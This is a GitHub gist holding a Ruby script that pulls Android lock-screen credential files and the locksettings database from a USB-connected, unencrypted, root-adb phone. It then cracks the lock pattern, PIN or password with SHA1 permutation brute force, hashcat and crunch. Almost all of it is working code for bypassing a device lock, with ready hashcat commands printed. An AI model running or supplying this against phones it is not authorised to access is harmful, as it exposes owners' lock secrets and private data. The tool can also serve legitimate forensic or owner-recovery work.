Skip to content

Instantly share code, notes, and snippets.

@red0xff
Created January 9, 2021 20:41
Show Gist options
  • Save red0xff/1ca994e7bf98aa2050658b8bcc4b8aba to your computer and use it in GitHub Desktop.
Save red0xff/1ca994e7bf98aa2050658b8bcc4b8aba to your computer and use it in GitHub Desktop.
a simple script that retrieves and cracks the Android Lock pattern from a device connected through USB, only works with unencrypted phones
require'digest/sha1';
require'colorize';
require'sqlite3';
require'io/console';
# Affichage d'une patterne comme image
class Array
def to_pattern
svg = <<SVG
<svg xmlns="http://www.w3.org/2000/svg" height="400" width="400">
<rect x="0" y="0" width="400" height="400" fill="white"></rect>
<circle cx="80" cy="80" r="8"/>
<circle cx="200" cy="80" r="8"/>
<circle cx="320" cy="80" r="8"/>
<circle cx="80" cy="200" r="8"/>
<circle cx="200" cy="200" r="8"/>
<circle cx="320" cy="200" r="8"/>
<circle cx="80" cy="320" r="8"/>
<circle cx="200" cy="320" r="8"/>
<circle cx="320" cy="320" r="8"/>
SVG
count_points = self.count;
init_r, init_g, init_b = 0xff, 0x75, 0x8c;
final_r, final_g, final_b = 0, 0, 0;
step_r, step_g, step_b = [final_r - init_r, final_g - init_g, final_b - init_b].map{|e| e.fdiv(count_points) };
self.each_cons(2).with_index do|(x,y),k|
x1, y1, x2, y2 = 80 + (x % 3) * 120, 80 + (x / 3) * 120, 80 + (y % 3) * 120, 80 + (y / 3) * 120;
color_r, color_g, color_b = init_r + step_r*k, init_g + step_g*k, init_b + step_b*k;
svg << "<line x1=\"#{x1}\" y1=\"#{y1}\" x2=\"#{x2}\" y2=\"#{y2}\" style=\"stroke:rgb(#{color_r},#{color_g},#{color_b});stroke-width:4\"></line>" << ?\n;
svg << "<text x=\"#{x1}\" y=\"#{y1-20}\" style=\"font-size:24;\">#{k+1}</text>";
end
svg << "<text x=\"#{80 + (self.last % 3) * 120}\" y=\"#{80 + (self.last / 3) * 120 - 20}\" style=\"font-size:24;\">#{self.count}</text>";
svg << '</svg>';
File.open('out.svg',?w){|f| f.write(svg);};
%x(gio open out.svg)
end
end
# DEBUT DU CODE
# retrouver les devices connectes avec adb
devices = `adb devices`.lines.map(&:chomp);
devices.shift;
devices.pop;
if devices.count > 1
devices = devices.detect{|d| !d.include?('unauthorized')};
if devices.nil?
puts "[#{?-.light_red.bold}] multiple devices detected, but all unauthorized, please authorize one and retry";
else
puts "[#{?*.light_blue.bold}] multiple devices detected, selecting\n#{devices}";
end
elsif devices.empty? || devices[0] =~ /^\s*$/
puts "[#{?-.light_red.bold}] No device detected, exiting ...";
exit 1;
elsif devices[0] =~ /unauthorized/
puts "[#{?-.light_red.bold}] The device is unauthorized, please authorize it and retry";
exit 1;
else
devices = devices[0];
end
serial = devices[/^\S+/];
puts "[#{?*.light_blue}] Recuperation de données";
# creation du repertoire /tmp/android_stuff
Dir.mkdir '/tmp/android_stuff' unless Dir.exist? '/tmp/android_stuff';
# recuperation des donnees de verouillage dans /tmp/android_stuff/
%w(gesture.key locksettings.db locksettings.db-shm locksettings.db-wal password.key).each do|file|
output = `adb -s #{serial} pull /data/system/#{file} /tmp/android_stuff/`;
if output =~ /permission denied/i
puts "[#{?-.light_red.bold}] Permission denied when pulling #{file.light_blue.bold}, ensure adb runs as root on your device";
exit 1;
elsif output =~ /does not exist/i
puts "[#{?-.light_red.bold}] #{file.light_blue.bold} does not exist on the device";
else
puts "[#{?+.light_green.bold}] Successfully pulled #{file.light_blue.bold} from the device";
end
end
# verification du type de verrouillage
db = SQLite3::Database.new "/tmp/android_stuff/locksettings.db";
pattern_type = db.execute('select value from locksettings where name=\'lockscreen.password_type\';').flatten[0].to_i;
if pattern_type == 262144 || pattern_type == 131072
puts "[#{?+.light_green}] Detected #{pattern_type == 262144 ? 'password' : 'PIN'} authentication";
# recuperation du salt (nombre aleatoire)
db = SQLite3::Database.new "/tmp/android_stuff/locksettings.db";
print "\n";
salt = db.execute('select value from locksettings where name=\'lockscreen.password_salt\';').flatten[0].to_i;
salt = (salt & 0xffffffffffffffff).to_s(16)
File.open('/tmp/android_stuff/password.key') do|f|
data = f.read.chomp;
sha1 = data[0, 20*2].downcase;
md5 = data[20*2,16*2].downcase;
puts "[#{?*.light_blue}] sha1(password + #{salt}) = #{sha1}";
puts "[#{?*.light_blue}] md5(password + #{salt}) = #{md5}";
if pattern_type == 262144
puts "It's recommended to use #{'hashcat'.light_green.bold} or #{'John the ripper'.light_green.bold} for bruteforcing, using a good #{'wordlist'.light_green.bold}";
puts "#{'hashcat'.light_green.bold} -m10 <HASH_FILE> <WORDLIST_FILE>";
puts "[#{??.light_blue.bold}] Attempt a dictionnary attack? (Y/N)";
c = nil;
loop{
c = IO.console.getch.downcase;
break if c == ?y || c == ?n;
}
if c == ?y
print "[#{??.light_blue}] Path to wordlist > ";
wordlist_path = gets.chomp;
File.open('/tmp/hash_file.txt',?w) do|f|
f.puts("#{md5}:#{salt}");
end
`hashcat -m10 /tmp/hash_file.txt '#{wordlist_path}'`;
output = `hashcat --show -m10 /tmp/hash_file.txt "#{wordlist_path}"`;
if !output.empty?
password = output[/(?<=:)[^:]+$/]
puts "[#{?+.light_green.bold}] password = #{password.to_s.light_green}";
else
puts "[#{?-.light_red.bold}] password not found in the wordlist";
end
end
else
puts "It's recommended to use #{'hashcat'.light_green.bold} or #{'John the ripper'.light_green.bold} for bruteforcing, using the Mask mode (using digits only)";
puts "#{'hashcat'.light_green.bold} -a3 -m10 --increment --increment-min=4 <HASH_FILE> '?d?d?d?d?d?d?d?d?d?d?d?d'"
puts "[#{??.light_blue}] Try cracking up to 9 digits? (Y/N)";
c = nil;
loop{
c = IO.console.getch.downcase;
break if c == ?y || c == ?n;
}
if c == ?y
found = false;
File.open('/tmp/hash_file.txt', ?w) do|f|
f.puts("#{md5}:#{salt}");
end
4.upto(9) do|num|
# generation du wordlist avec tous les pins de taille num
`crunch #{num} #{num} 0123456789 -o /tmp/dict.txt`
# bruteforce avec hashcat
`qterminal -e "hashcat -m10 /tmp/hash_file.txt /tmp/dict.txt"`;
output = `hashcat --show -m10 /tmp/hash_file.txt /tmp/dict.txt`;
if !output.empty?
pin = output[/(?<=:)\d+$/]
puts "[#{?+.light_green.bold}] Pin code = #{pin.light_green}";
found = true;
break;
end
end
if !found
puts "[#{?-.light_red.bold}] Pin code >= 1000000000";
end
end
end
end
elsif pattern_type == 65536
puts "[#{?+.light_green}] Detected Android pattern";
print "\n"
File.open('/tmp/android_stuff/gesture.key', 'rb') do|f|
data = f.read;
puts "[#{?*.light_blue}] solving sha1(pattern) = #{data.each_codepoint.map{|e|e.to_s(16).rjust(2,?0)}.join}";
puts "[#{?*.light_blue}] Note: you can also crack it with the following command:\n#{'hashcat'.light_green.bold} -a3 -m100 --hex-charset --increment --increment-min=4 --increment-max=9 -1 00010203040506070809 <HASH_FILE> '?1?1?1?1?1?1?1?1?1'";
matrix = 9.times.to_a;
4.upto(9) do|n|
if pat = matrix.permutation(n).detect{|pattern|
Digest::SHA1.digest(pattern.map(&:chr).join) == data;
}
puts "[#{?+.light_green}] Pattern found : #{pat}";
puts pat.to_pattern;
end
end
end
else
puts "[#{?-.light_red.bold}] Unknown scheme with code #{pattern_type.to_s.light_blue.bold}";
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment